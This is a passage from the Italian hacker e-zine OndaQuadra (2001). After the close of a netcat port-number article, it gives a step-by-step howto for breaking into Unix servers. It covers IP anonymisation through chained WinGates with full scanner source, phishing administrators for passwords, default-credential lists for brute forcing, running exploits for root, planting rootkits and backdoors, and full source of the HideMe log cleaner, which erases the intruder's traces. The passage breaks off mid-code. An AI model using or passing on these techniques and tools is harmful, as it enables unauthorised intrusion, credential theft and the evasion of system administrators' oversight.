| |
| sprintf (portpoop->anum, "%d", x); /* always load any numeric specs! */ |
| portpoop->num = (x & 0xffff); /* ushort, remember... */ |
| return (portpoop->num); |
|} |
| |
|[snip] |
| |
|riempie il campo num della struttura portpoop con il valore di x trovato 'and' |
|0xffff e guardate il commento che mette..."la porta e' un USHORT, ricordate?" |
|;) e poi ritorna il numero calcolato al chiamante. Ecco scoperto il tremendo |
|algoritmo per il calcolo della porta a partire da una stringa di testo, atoi() |
|and 0xffff, tutto qui, quindi ancora una volta...non si possono mettere porte |
|come la "-23" o come la "999999" bisognerebbe riscrivere da capo tutto il |
|protocollo tcp/ip :P, e comunque il netcat effettua tutto questo senza avvisare|
|nessuno se non si mette l'opzione "-vv" . Altra cosa giusto per finire la IANA |
|ha standardizzato non i numeri di porta,ma i servizi ad essa associati, in modo|
|che su qualsiasi server ci si connetta, una porta 23 sia un telnet, una 21 un |
|ftp, e cosi' via per gli altri servizi. Poi che ognuno di noi faccia quel che |
|vuole con le porte.....beh quello e' un altro paio di maniche...:P |
|Con questo e' tutto, a voi regia...(ma bada te se mi devo far comandare a |
|bacchetta cosi' da themr...vabbe' che e' il mio simbiote, ma tutto ha un |
|limite!!) ;) |
| |
| |
|Grazie Mike, qui regia :PP |
|Beh, tralasciando gli scherzi, MrCode ha commentato benissimo i pezzi di codice|
|del NetCat che ci servivano per capire. Anche da essi abbiamo avuto conferma:le|
|porte NON vann oltre la 65535. TDI si è fatto "abbindolare" da una strana |
|feature del NetCat, che esegue le correzioni, senza però dire nulla a nessuno. |
|Solo con il verbose Mode si riesce a capire la "correzione". Questa cosa |
|oltretutto, la si poteva notare anche in altro modo. Provate con un programma |
|normale (chesso, il vostro client FTP) a connettervi a una porta da 32 bit. |
|vedrete che non ve l'accetta :) |
| |
|Bene, penso di aver finito :) |
| |
|Se volete chiarimenti, dirci che siamo stati bravi, oppure mandarci a quel |
|paese... |
|TheMR : the.mr@bigfoot.com |
|MrCode : mr.code@libero.it |
|Oppure ci trovate su sempre Azzurra. Ormai siamo BOT umani :)) |
| |
|Salutazzi ai friend di #crack-it #hackzxtreme #hackmaniaci #chihackerare #rotfl|
|E un "vaffanculo" a quegli schifosi sporchi lurudi ripugnandi lamer del cazzo |
|che continuano a romperci i coglioni e a non lasciarci in pace un momento. |
|Benenetto +b mode, aiutaci :)) |
| |
|Gia che ci sono, vorrei dire una cosetta a quelli che sul forum di PI hanno |
|"commentato" l'articolo di TDI (e anche l'intervista in generale): |
|Se non vi piace OQ, nessuno vi obbliga a leggerla. OQ è una rivista di |
|informazione libera. Se non vi piace cio' che scriviamo, non leggetela. E anche|
|se negli articoli ci sono delle imprecisioni, ricordate che siamo umani anche |
|noi, e che errare e' umano.Se vi sentite onnipotenti e credete di sapere tutto,|
|lo credete e basta. Come disse qualcuno, "il saggio è colui che sa di non |
|sapere"
. Percui, la prossima volta, siate piu' garbati, e se qualcuno sbaglia, |
|fateglielo notare, non sputtanatelo come se fosse una mosca in un merdaio. |
|Altrimenti la mosca siete voi....anzi, la merda....... |
| |
|Ah, vorrei lasciare una frase che mi ha lasciato MrCode dopo avermi restituito |
|l'articolo: |
|---- |
|PS: passa questo articolo sotto il correttore ortografico, che fra me e te lo |
|abbiamo riempito di stronzate!!!! ahahahahah :)) |
|---- |
| |
|Gli date ragione ?? :) |
+-------------------------------------------------------------------------------+



+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| HACK UNiX SHELL [D3FU] 0x06/0x23 |
+-------------------------------------------------------------------------------+
| |
| ::w4rn1ng:: |
| |
| Questo mini HOWTO sull'hacking delle shell unix è da considerarsi come un |
| testo |
| informativo/educativo. L'autore non si assume alcuna responsabilità per |
| l'uso |
| inadeguato delle informazioni qui contenute . Insomma se vi sgamano non |
| venite |
| a piangere da me :-P |
| |
| ::1ntr0:: |
| |
| Io NON sono un hacker, credo di essere un newbies e per questo motivo posso |
| aver |
| scritto anche delle bestialità ! :-) pertanto se trovate errori nel testo |
| vi prego |
| di riferirmelo in modo da poterli correggere ! |
| |
| |
| ::c0pr1r3 1l n0str0 ip_4ddr3ss:: |
| |
| A causa dell'enorme quantità di files log presenti nelle macchine unix, |
| nascodere il |
| proprio ip address dai logger diventa un operazione molto ardua. Pertanto è |
| vivamente |
| consigliabile telnettarsi da qualche parte prima di connettersi al target |
| (il server |
| vittima). Nel nostro caso ci vengono in aiuto i WinGates. |
| Telnettandoci alla porta del server su cui gira un WinGate (solitamente la |
| porta 23) |
| possiamo coprire il nostro ip, e hackerare con maggiore tranquillità il |
| server. |
| Naturalmente la concatenazione di due o più WinGate ci può fornire maggiore |
| anonimato, anche se ciò causa un terribile rallentamento di ogni operazione |
| da |
| noi svolta, perchè i comandi devono rimbalzare da più server. |
| Pertanto è meglio non concatenare un elevato numero di WinGates (spesso si |
| consiglia |
| di concatenare max 3 WinGate ma tutto è relativo). |
| Per aver maggior sicurezza sarebbe meglio far rimbalzare il nostro attacco |
| anche da |
| una o più shells in giro per il mondo. |
| Evitate però le free shell perchè non sono buone per rootare su di una |
| macchina. |
| Trovare i WinGates è un operazione piuttosto facile (potete trovarne con |
| facilità |
| nelle liste pubbliche es. http://www.cyberarmy.com anche se spesso non |
| funzionano). |
| Un altro buon metodo è lo scanning. Scannando infatti un range di ip sulla |
| porta 23 |
| (quella di WinGate di default ) è possibile trovare buoni WinGates, ed il |
| vantaggio |
| è che solo VOI lo sapete (i "WinGate Scanners" li trovate al seguente URL : |
| http://packetstormsecurity.org). Allego di seguito il sorgente di un buon |
| scanner per |
| WinGates : |
| |
| ----------------------8< taglia qui---------------------------------------- |
| |
| |
| /* Yet Another Wingate Scanner (YAWS) Version 0.1 |
| (C) 1999 by tempus fugit, tempusf@gmx.net |
| URL: tf.darpa.org |
| You can freely distribute this stuff, but |
| please let the copyright information intact |
| and don't alter the code. |
| |
| Feel free to send my any comments or suggestions |
| |
| Features: |
| - can read the hosts to check from a file |
| - can scan subnets (class b and c) |
| - has an extra flag to prevent intrusion detection systems from being |
| activated |
| - logs the results |
| - logs successes in an extra file |
| - you can enter the number of subprocesses |
| - you can specify a timeout |
| |
| compile with gcc yaws.c -o yaws |
| |
| */
|
| |
| #include <stdio.h> |
| #include <sys/types.h> |
| #include <sys/socket.h> |
| #include <sys/time.h> |
| #include <time.h> |
| #include <netinet/in.h> |
| #include <arpa/inet.h> |
| #include <sys/wait.h> |
| #include <unistd.h> |
| #include <signal.h> |
| #include <netdb.h> |
| #include <stdlib.h> |
| #include <arpa/inet.h> |
| #include <ctype.h> |
| #include <getopt.h> |
| #include <fcntl.h> |
| |
| #define wgateport 23 |
| |
| void CheckForWingate (char *,int); |
| void init_rand (); |
| void DoLog (char *); |
| void LogSuccess (char *); |
| void usage (); |
| int sock, timeout=5; |
| char *logfile="yaws.log", *suclogfile="yaws.suc", *progname; |
| |
| int main (int argc, char **argv) { |
| static int forked=0; |
| int forks=1, i, pid, dummy, scanned=0, toscan=0, j, k, extra=0, rnumber; |
| char c, network[64]="none", class[]="z", inputfile[64]="", host[100]; |
| FILE *input; |
| typedef char target[100]; |
| target *mytarget; |
| progname=argv[0]; |
| while ((c = getopt (argc, argv, "vef:l:n:c:i:t:s:")) != -1) { |
| switch (c) { |
| case 'f': forks = atoi (optarg); |
| break; |
| case 'e': extra = 1; |
| break; |
| case 'l': logfile = optarg; |
| break; |
| case 'n': strncpy (network, optarg, 64); |
| break; |
| case 'c': strncpy (class, optarg, 1); |
| break; |
| case 'i': strncpy (inputfile, optarg, 64); |
| break; |
| case 't': timeout = atoi (optarg); |
| break; |
| case 's': suclogfile = optarg; |
| break; |
| case 'v': usage (); |
| case '?': usage (); |
| } |
| } |
| |
| if (argc < 2) { |
| fprintf (stderr, "To few argumtens.\n"); |
| usage (); |
| } |
| |
| if (forks < 1) { |
| fprintf (stderr, "To little number of forks.\n"); |
| usage (); |
| } |
| |
| DoLog ("YAWS 1999 by tempus fugit\n\n"); |
| |
| if ((strcmp (network, "none")) && (strcmp (class, "z"))) { |
| if ((!strcmp (class, "b")) && (extra == 0)) |
| for (j=1; j<255; j++) { |
| for (k=1; k<255; k++) { |
| snprintf (host, 100, "%s.%d.%d", network, j, k); |
| if ((pid = fork ()) == 0) { |
| CheckForWingate (host, wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| } |
| } |
| } |
| else if ((!strcmp(class, "c")) && (extra == 0)) { |
| for (j=1; j<255; j++) { |
| snprintf (host, 100, "%s.%d", network, j); |
| if ((pid = fork ()) == 0) { |
| CheckForWingate (host, wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| |
| } |
| } |
| else if ((!strcmp(class, "b")) && (extra == 1)) { |
| init_rand(); |
| mytarget = malloc ((254*254) * (sizeof (target))); |
| if (mytarget == NULL) { |
| fprintf (stderr, "Cannot allocate memory.\n"); |
| exit (1); |
| } |
| fprintf (stdout, "I am computing the random IPs, this may take a |
| while.\n"
); |
| for (j=1; j<255; j++) { |
| for (k=1; k<255; k++) { |
| marke: |
| rnumber = (int) ((254.0*254.0)*rand()/(RAND_MAX+1.0)); |
| if (strlen ((mytarget+rnumber)) > 1) goto marke; |
| snprintf ((mytarget+rnumber), 100, "%s.%d.%d", network, j, k); |
| |
| } |
| } |
| for (j=0; j<=(254*254); j++) { |
| if ((pid = fork ()) == 0) { |
| CheckForWingate ((mytarget+j), wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| |
| } |
| } |
| |
| else if ((!strcmp(class, "c")) && (extra == 1)) { |
| init_rand(); |
| mytarget = malloc ((255) * (sizeof (target))); |
| if (mytarget == NULL) { |
| fprintf (stderr, "Cannot allocate memory.\n");

  
|
| exit (1); |
| } |
| for (j=1; j<255; j++) { |
| marke2: |
| rnumber = 1+(int) ((254.0)*rand()/(RAND_MAX+1.0)); |
| if (strlen ((mytarget+rnumber)) > 1) goto marke2; |
| snprintf ((mytarget+rnumber), 100, "%s.%d", network, j); |
| |
| |
| } |
| for (j=1; j<255; j++) { |
| if ((pid = fork ()) == 0) { |
| CheckForWingate ((mytarget+j), wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| } |
| } |
| else |
| { |
| if ((class != "b") && (class != "c")) { |
| printf ("You entered an unknown class or no network.\n"); |
| return 1; |
| } |
| } |
| for (i=1; i <= forked; i++) wait (&dummy); |
| return 0; |
| } |
| |
| input = fopen (inputfile, "r"); |
| if (input == NULL) { |
| fprintf (stderr, "Cannot open input file.\n"); |
| return 1; |
| } |
| |
| while ((fscanf (input, "%s\n", host)) != EOF) { |
| if ((pid = fork ()) == 0) { |
| CheckForWingate (host, wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| |
| } |
| fclose (input); |
| for (i=1; i <= forked; i++) wait (&dummy); |
| |
| } |
| |
| void alarm_handler (int sig) { |
| close (sock); |
| return; |
| } |
| |
| void CheckForWingate (char *host, int port) |
| { |
| int ret, conn, sel; |
| char buffer[128], logmsg[1024]; |
| struct sockaddr_in sin; |
| fd_set fd; |
| struct timeval tv; |
| struct hostent *he; |
| |
| if ((strlen (host)) == 0) exit (1); |
| |
| if (!(sock = socket (AF_INET, SOCK_STREAM, 0))) { |
| fprintf (stderr, "Cannot create a socket.\n") |
| exit (1); |
| } |
| |
| if (inet_addr (host) == -1) { |
| if ((he=gethostbyname (host)) == NULL) { |
| snprintf (logmsg, 1024, "The host %s cannot be resolved.\n", host); |
| DoLog (logmsg); |
| return; |
| } |
| memcpy (&sin.sin_addr, he->h_addr,he->h_length); |
| } |
| else if ((sin.sin_addr.s_addr = inet_addr (host)) == -1) { |
| snprintf (logmsg, 1024, "IP %s cannot be identified.\n", host); |
| DoLog (logmsg); |
| return; |
| } |
| sin.sin_family = AF_INET; |
| sin.sin_port = htons (port); |
| signal (SIGALRM, alarm_handler); |
| alarm (timeout); |
| conn = connect (sock, (struct sockaddr*)&sin, sizeof (sin)); |
| if (conn < 0) { |
| snprintf (logmsg, 1024, "Cannot connect to host %s on port %d.\n", host, |
| port); |
| DoLog (logmsg); |
| close (sock); |
| return; |
| } |
| FD_ZERO (&fd); |
| FD_SET (sock, &fd); |
| tv.tv_sec = timeout; |
| tv.tv_usec = 0; |
| sel = select (sock+1, &fd, NULL, NULL, &tv); |
| if (sel > 0) { |
| if ((ret = recv (sock, buffer, 128, 0)) > 0) { |
| if (!strcmp (buffer, "WinGate>")) { |
| snprintf (logmsg, 1024, "Host %s is a wingate.\n", host); |
| DoLog (logmsg); |
| LogSuccess (logmsg); |
| } |
| else { |
| snprintf (logmsg, 1024, "Host %s is no wingate.\n", host); |
| DoLog (logmsg); |
| } |
| } |
| |
| } |
| if (!sel) { |
| snprintf (logmsg, 1024, "Host %s time out by search.\n", host); |
| DoLog (logmsg); |
| } |
| if (sel == -1) { |
| fprintf (stderr, "Select Error.\n"); |
| exit (1); |
| } |
| close (sock); |
| return; |
| } |
| |
| void init_rand() { |
| int fd; |
| unsigned n; |
| fd = open("/dev/random", O_RDONLY); |
| read(fd, &n, sizeof(n)); |
| close(fd); |
| srand(n); |
| } |
| |
| void DoLog (char *message) { |
| FILE *file; |
| file = fopen (logfile, "a"); |
| if (file == NULL) { |
| fprintf (stderr, "File Error.\n"); |
| exit (1); |
| } |
| fprintf (file,"%s", message); |
| fclose (file); |
| } |
| |
| void LogSuccess (char *message) { |
| FILE *file; |
| file = fopen (suclogfile, "a"); |
| if (file == NULL) { |
| fprintf (stderr, "File Error.\n"); |
| exit (1); |
| } |
| fprintf (file, "** SUCCESS: ** "); |
| fprintf (file, "%s", message); |
| fclose (file); |
| } |
| |
| void usage () { |
| printf ("[YAWS] Yet Another Wingate Scanner Version 0.1 1999 by tempus |
| fugit\n"
); |
| printf ("mail: tempusf@gmx.net\n"); |
| printf ("URL: http://tf.darpa.org\n\n"); |
| printf ("Usage: %s -v -l <logfile> -f <forks> -t <timeout> -n <network> -c |
| <network-class> -i <input file> -s <success-logfile>\n"
, progname); |
| printf ("\tlogfile: the name of the file where the scanning results are |
| stored.\n"
); |
| printf ("\tforks : the number of forks the program is allowed to |
| create.\n"
); |
| printf ("\ttimeout: timeout of search-process in seconds.\n"); |
| printf ("\tnetwork: you can enter network that will be checked for |
| wingates.\n"
); |
| printf ("\tnetwork: can be <X.X> or <X.X.X> if class is\n"); |
| printf ("\t b or c\n"); |
| printf ("\tinput-file: you can specify an input-file from which the hosts |
| to checked are extraced.\n"
); |
| printf ("\tsuccess-logfile: success messages are written in this file.\n"); |
| printf ("\tif you choose an input-file, the network and class options are |
| ignored.\n"
); |
| printf ("Example: %s -l mylogs -n 200.10 -c b -s wow\n", progname); |
| exit (0); |
| } |
| |
| ----------------------8< taglia qui----------------------------------------- |
| |
| |
| |
| Il discorso delle shells è MOLTO piu complicato ! La shell di cui abbiamo |
| bisogno non |
| è una shell con accesso root (se no cosa buchiamo a fare :-P ) ma bensì una |
| normale |
| (non free-shell ricordate) da usare come bouncer per il nostro attacco. |
| Spesso sui |
| manuali di hacking si consiglia di barattare le shell in chat (irc in |
| particolare) sui |
| canali di hacking. |
| Personalmente ritengo che una persona alle prime armi non abbia da |
| barattare NESSUNA |
| shell (anzi la sta cercando !!!) quindi possiamo ricorrere a trucchetti |
| semplici |
| semplici per recuperarne una : |
| |
| 1) Social Enginering : inviando una mail falsa (attenzione anche qui usate |
| WinGates |
| e/o free-shell prima di connettervi al server SMTP!) |
| al possessore |
| di un shell, possiamo fingerci l'amministratore del |
| server |
| e farci inviare la password del suo account per |
| neccessità di |
| backup (vi rimando all'articolo di LordShinva sul |
| Social Enginering). |
| |
| 2) Default Accounts : Bisogna saper che per i sistemi come linux esistono |
| degli |
| account di "defalt" che l'attacker può usare per |
| accedere al |
| sistema ed avere una shell (si puo anche utilizzare |
| un exploit |
| per scalare i privilegi sfruttando le vulnerabilità |
| dei demoni |
| che girano sul server) |
| Ecco di seguito un elenco degli account di default : |
| user passwd |
| sys sys, system, manager, nomedelsistema, vedi |
| root |
| daemon daemon, background, none |
| uucp uucp, vedi guest |
| tty tty |
| test test |
| unix unix, test |
| bin bin, system, vedi root |
| adm adm, admin, sys, vedi root |
| admin adm, admin |
| sysman sysman, sys, system |
| sysadmin sysadmin, sys, system, admin, adm |
| who who, none |
| learn learn |
| uuhost uuhost |
| guest guest, user, anonymous, visitor, bbs,(nome |
| del |
| sistema o dell'organizzazione) |
| host host |
| nuucp nuucp, vedi uucp |
| rje rje, none, vedi root |
| games games, player |
| sysop sysop |
| demo demo, nomedelsistema, none |
| visitor vedi guest |
| anonymous vedi guest |
| anon vedi guest |
| user vedi guest |
| nomedelsistema vedi guest |
| student student, vedi guest |
| ftp ftp, ftpuser, vedi guest |
| ftpuser vedi ftp |
| xxcp xenix |
| system manager |
| nobody nobody, none |
| field service |
| archie archie, none |
| qarchie qarchie, none |
| whois whois, none |
| bbs nomedelsistema, bbs, waffle, none |
| services nomedelsistema, services, none |
| info nomedelsistema, info, none |
| new nomedelsistema, new, none |
| newuser nomedelsistema, newuser, none |
| ingres none, ingres, nomedelsistema |
| date date, none |
| lpq lpq, none |
| time time, none |
| weather weather, forecast, none |
| forcast vedi weather |
| help help, none |
| test nomedelsistema, test, none |
| waffle vedi bbs |
| trouble trouble, vedi root |
| lp lp, printer, print, vedi root |
| unmountsys unmountsys, unmount, vedi root |
| setup setup, vedi root |
| makefsys makefsys, vedi root |
| |
| Provare manualmente tutte queste passwd è una |
| rottura ... automatizziamo |
| il tutto con qualche bel programmino : |
| - Brutus (http://www.hobbie.net/brutus) |
| - TeeNet (http://phenoelit.de/tn) |
| - cerca su packetstorm "pop.c" e "brutus_web.c" |
| |
| 3) /etc/passwd : Con un pò di fortuna (be MOOLTA fortuna) è possibile |
| accedere |
| al file delle password via web, e se non è shadowato |
| ... be scaldate |
| il vostro John The Ripper !!! ;-) [in ogni caso |
| avresti un elenco |
| completo degli utenti di quel server, vedi anche |
| sotto...] |
| |
| 4) "Joe Account" : Sempre per quanto riguarda le password facendo un |
| bel fingering |
| di una macchina in un orario in cui è connessa molta |
| gente, possiamo |
| recuperare un bel po' di username. Perchè? perchè |
| spesso gli utenti |
| sono così idioti da utilizzare il loro username |
| anche come password |
| (detto anche "Joe Account") quindi ... ah dimeticavo |
| ... spesso |
| questi "esperti" utenti :-) hanno un account del |
| tipo : |
| user : pippo |
| pass : pippo1 |
| [NOTA per il fingering : ricorda di far rimbalzare |
| il finger da un |
| altra macchina. Come? finger @sito.com@target.com |
| ... ] |
| |
| |
| Una volta trovati WinGates e shell, li concateneremo nel seguente modo |
| |
| WinGate_1 --> WinGate_2 --> WinGate_xx ... -> shell(s) |
| |
| A questo punto il tuo ip ( quello che dovrai cancellare dai files log una |
| volta ottenuto |
| accesso root) è quello dell'ultima shell (o wingate) che hai concatenato |
| (ovvio :-P). |
| |
| |
| ::th3 t4rg3t:: |
| |
| Per la ricerca del nostro target (il server che vogliamo bucare) abbiamo a |
| nostra |
| disposizione due magnifici siti : |
| 1) www.ipindex.net : una raccolta di tutti gli ip address del mondo divisi |
| per |
| continente e ente/società a cui appartengono. |
| 2) www.netcraft.net : un motore di ricerca molto utile che ci permette non |
| solo |
| di ricercare un infinità di siti, ma anche di trovare |
| info |
| riguardo al sito che vogliamo bucare (es. OS , ecc..) |
| |
| Naturalmente se avete in testa un sito che vi è particolarmente |
| "antipatico" e/o |
| particolarmente "sfigato" be' ... il tutto sarà ancora più divertente !!! |
| |
| |
| |
| ::iNF0 & 3xpl0it:: |
| |
| Un passo fondamentale per la buona riuscita del nostro attacco è lo studio |
| del target. |
| Per prima cosa sarebbe bene fare uno scanning delle porte del server |
| (probabilmente il |
| miglior port scanner in circolazione per linux è NMAP, lo trovi su |
| http://www.insecure.org) |
| e usare alcuni interessanti tool a nostra disposizione, quali finger, |
| nslookup, tracerouter, |
| whois , ecc.. per renderci conto di CHI vogliamo attaccare. |
| Di grande utilità è anche l'utilizzo dell'utility "ping sweep" (la trovate |
| al seguente |
| indirizzo : ftp.tamu.edu/pub/unix/src/ ) che permette di poter studiare la |
| configurazione |
| della rete che andremo ad attakkare. |
| In particolare lo scannning delle porte del server ci aiuterà a capire |
| quali demoni |
| girano sul server . Sfrutteremo di conseguenza i "bug" di questi demoni |
| tramite un |
| exploit per penetrare nel sistema. |
| |
| Individuata il demone che volgiamo bucare ricerchiamo l'exploit in siti di |
| sicurezza |
| come HACK.co.za (http://www.hack.co.za) oppure su PACKETSTORM |
| (http://packetstormsecurity.org). |
| L'exploit va poi posizionato su una delle shell da cui facciamo rimbalzare |
| l'attacco |
| e in fine compilato. |
| Per compilare l'exploit bisogna seguire le info che trovate nel codice |
| sorgente |
| dell'exploit stesso (qui trovate anche info sul suo utilizzo e/o tipo di |
| vulnerabità |
| sfruttata). Vi consiglio di studiare l'exploit che vi accingete ad |
| utilizzare in modo da |
| CAPIRE cosa stiamo effettivamente facendo. |
| Naturalmente prima di bucare il server è bene (se possibile) fare un bel |
| fingering |
| del server vittima per essere sicuri che non vi sia nessun utente connesso |
| alla macchina, |
| in caso contrario è meglio lasciare perdere e tentare in un altro momento. |
| |
| CONSIGLIO : Quando studiate il target connettersi alla porta 37 (time) del |
| server vi mostrerà |
| l'ora del luogo in cui è situato il server, così da collegarsi quando è |
| notte (o mattina presto) |
| in modo che nessun utente (tantomeno il SyS :-) sia connesso alla machiana. |
| |
| |
| ::1Ns1d3 th3 s3rv3r:: |
| |
| Compilato l'exploit, lo eseguiamo, e se tutto va bene otterremo l'accesso |
| root sulla macchina. |
| Appena ci compare il magnifico "#" verifichiamo per prima cosa di essere |
| realmente root nella |
| nostra nuova macchina :-D con il comando "id" (oppure con il comando |
| "whoami"). |
| Se otteniamo una risposta del tipo "uid=0(root)" stiamo rootando su quella |
| macchina ! [complimenti!] |
| Ora dobbiamo essere sicuri di essere soli nella macchiana quindi |
| utilizziamo il comando |
| "w" oppure "who" (soprattutto se non ci è stato possibile fare un fingering |
| alla macchiana |
| in precedenza). |
| Ora dobbiamo cancellare il nostro ip dai file log quindi dobbiamo uplodare |
| un bel cleaner ed |
| eventualmente un bel rootkit per modificare /bin e /sbin ed inserire |
| backdoor. |
| Uplodando i file nel sever tramite ftp, saremo loggati dal un bel figlio di |
| puttana chiamato "Xferlog", |
| un file log che registra ogni trasferimento di files in/out tramite ftp, |
| quindi dobbiamo uplodare |
| i nostri bei files con dei trucchetti che andremo ad illustrare : |
| Il primo metodo consiste nel fare un bel copia/incolla del testo contenuto |
| nei file *.c |
| che volgiamo uplodare, e di aprire da remoto sulla macchina bucata un text |
| editor (esempio |
| vi) e dopo di che, incollare il testo tramite la combinzione di tasti SHIFT |
| + INS |
| (l'equivalente di incolla da shell, il copia e CTRL + INS ). |
| Il secondo metodo ci permette di copiare un file dal nostro computer dal |
| desktop con |
| un semplice copy , e "di incollarlo" nel server remoto digitando da shell : |
| |
| [copia il file con "copia"] |
| # cat << EOF > file.c |
| |
| digita EOF : |
| |
| > EOF |
| |
| Il file è copiato sul computer remoto ! |
| In questo modo possiamo compiare non solo file testo ma qualsiasi file che |
| ci possa |
| essere utile sul server. (quindi rootkit, cleaner, index.html <- :-))) ecc |
| ...) |
| |
| NOTA: nonstante tutto possiamo uplodare i nostri files sul server tramite |
| ftp, perchè |
| i metodi descritti risultano molto lunghi se si decide di installare |
| corposi rootkit |
| sulla macchina :-) . Per questo usiamo comunque ftp ma ricordiamoci di |
| greppare xferlog |
| alla ricerca del nostro hostname/ip, e inoltre di controllare il log |
| "secure" in /etc/log |
| inquanto per default riporta le stesse identificazioni relative ai |
| trasferimenti che |
| compaiono anche su xferlog (controlla anche la directory /etc/ftp* per |
| trovare che tipo |
| di setup c'è nella box hackerata). |
| |
| |
| ::th3 L0gs f1L3:: |
| |
| Ora viene il bello dell'impresa. Da questo momento sarà solo la nostra |
| abilità che ci |
| permetterà di non farci beccare dal Sys e di mantenere l'accesso alla |
| macchina il più a |
| lungo possibile ... facciamo un pò di pulizia :-D ... |
| I log piu bastardi di un sistema unix/unix-like sono situati nelle seguenti |
| directory : |
| |
| /etc/log (default) |
| /tmp/log - /temp/var/log |
| /var/run (qui trovate anche i *.pid dei demoni che girano sulla macchina) |
| /var/log - /var/adm |
| /usr/log - /usr/adm/log |
| |
| I log piu comuni possono essere cancellati tramite cleaner quali zap o |
| hideme. |
| Qui sotto riporto il programma hideme.c scritto da FuSys di BFI. |
| (vi rimando al suo articolo su BFI per maggiori info sui log di unix) |
| |
| ----------------------8< taglia qui----------------------------------------- |
| |
| |
| /* |
| HideMe.c Cleans Utmp, Wtmp, LastLog, Messages, XferLog, Secure, |
| MailLog. Please check your brain connection before using |
| since it does NO timestamp or CRC checking. Yet. ;) |
| Usage: hideme <user> <host> <IP> |
| P.S. check all logs dirs and edit this source accordingly. |
| */
|
| |
| /************************************************************************ |
| * Written by fusys no (C)1998 * |
| * Yes. I coded this. No. I didn't leave this in your system. * |
| * Go check your local nasty user or cracker. * |
| * For Informative and Non-Profit Fun only. * |
| * I was not the first. I won't be the last. AMEN to that. * |
| * YES. It seems today I don't have anything better to do. Go figure. ;) * |
| ************************************************************************/
|
| |
| #include <fcntl.h> /* as coder@reptile said: */ |
| #include <utmp.h> /* includes, what would we do */ |
| #include <sys/types.h> /* without them ?! */ |
| #include <unistd.h> |
| #include <lastlog.h> |
| #include <stdio.h> |
| #include <pwd.h> |
| |
| #define UTMP "/var/run/utmp" /* Understand ?! */ |
| #define WTMP "/var/log/wtmp" /* If not, RTFM ... */ |
| #define LASTLOG "/var/log/lastlog" /* Still in the myst ? */ |
| #define MESSAGES "/var/log/messages" /* Please RTFMA ... */ |
| #define SECURE "/var/log/secure" /* What now ?!!? */ |
| #define XFERLOG "/var/log/xferlog" /* Ok I got it for ya: */ |
| #define MAILLOG "/var/log/maillog" /* Consider using W95 ! */ |
| #define MAXBUFF 8*1024 |
| |
| int main (int argc, char *argv[]) |
| { |
| struct utmp ut ; /* (C)1998 PNN */ |
| struct lastlog ll ; /* Pretty New Names */ |
| struct passwd *pass ; |
| int i, size, fin, fout ; |
| FILE *lin ; |
| FILE *lout ; |
| char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG} ; |
| char *newlogs[] = {"messages.hm", "secure.hm", "xferlog.hm", |
| "maillog.hm"} ; |
| char buffer[MAXBUFF] ; |
| |
| char ninja[10] ; /* better isn't it ?! */ |
| char zaibatsu[100] ; /* oh ... shut up ! :) */ |
| char zaibatsu_ip[17] ; |
| |
| if (argc!=4) { |
| fprintf(stderr, "\nHideMe\n") ; |
| fprintf(stderr, "Usage: %s <user> <host> <IP>\n\n", argv[0]) |
| ; |
| exit () ; |
| } |
| |
| /*************************** |
| * OK Let's start with UTMP * |
| ***************************/
|
| size = sizeof(ut) ; |
| strcpy (ninja, argv[1]) ; |
| fin = open (UTMP, O_RDWR) ; |
| if (fin < 0) { |
| fprintf(stderr, "\nUh ? utmp target not locked. Getting |
| outta here.\n"
) ; |
| close (fin) ; |
| exit () ; |
| } |
| else { |
| while (read (fin, &ut, size) == size) { |
| if (!strncmp(ut.ut_user, ninja, strlen(ninja))) { |
| memset(&ut, 0, size) ; |
| lseek(fin, -1*size, SEEK_CUR) ; |
| write (fin, &ut, size) ; |
| } |
| } |
| close (fin) ; |
| printf("\nutmp target processed.") ; |
| } |
| |
| /*************************** |
| * OK Let's go on with WTMP * |
| ***************************/
|
| strcpy (zaibatsu, argv[2]) ; |
| strcpy(zaibatsu_ip, argv[3]) ; |
| |
| fin = open(WTMP, O_RDONLY) ; |
| if (fin < 0) { |
| fprintf(stderr, "\nUh? wtmp target not locked. Getting outta |
| here.\n"
) ; |
| close (fin) ; |
| exit () ; |
| } |
| fout = open("wtmp.hm", O_WRONLY|O_CREAT) ; |
| if (fout < 0) { |
| fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting |
| outta here.\n"
) ; |
| close (fout) ; |
| exit () ; |
| } |
| else { |
| while (read (fin, &ut, size) == size) { |
| if ( (!strcmp(ut.ut_user, ninja)) || |
| (!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) ) { |
| /* let it go into oblivion */ ; |
| } |
| else write (fout, &ut, size) ; |
| } |
| close (fin) ; |
| close (fout) ; |
| if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) && |
| (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) { |
| fprintf(stderr, "\nAch. Couldn't replace %s .", |
| WTMP) ; |
| } |
| system("/bin/chmod 644 /var/log/wtmp") ; |
| printf("\nwtmp target processed.") ; |
| } |
| |
| /*************************** |
| * OK Let's look at LASTLOG * |
| ***************************/
|
| size = sizeof(ll) ; |
| fin = open(LASTLOG, O_RDWR) ; |
| if (fin < 0) { |
| fprintf(stderr, "\nUh? lastlog target not locked. Getting |
| outta here.\n"
) ; |
| close (fin) ; |
| exit () ; |
| } |
| else { |
| pass = getpwnam(ninja) ; |
| lseek(fin, size*pass->pw_uid, SEEK_SET) ; |
| read(fin, &ll, size) ; |
| ll.ll_time = 0 ; |
| strncpy (ll.ll_line, " ", 5) ; |
| strcpy (ll.ll_host, " ") ; |
| lseek(fin, size*pass->pw_uid, SEEK_SET) ; |
| write(fin, &ll, size) ; |
| close (fin) ; |
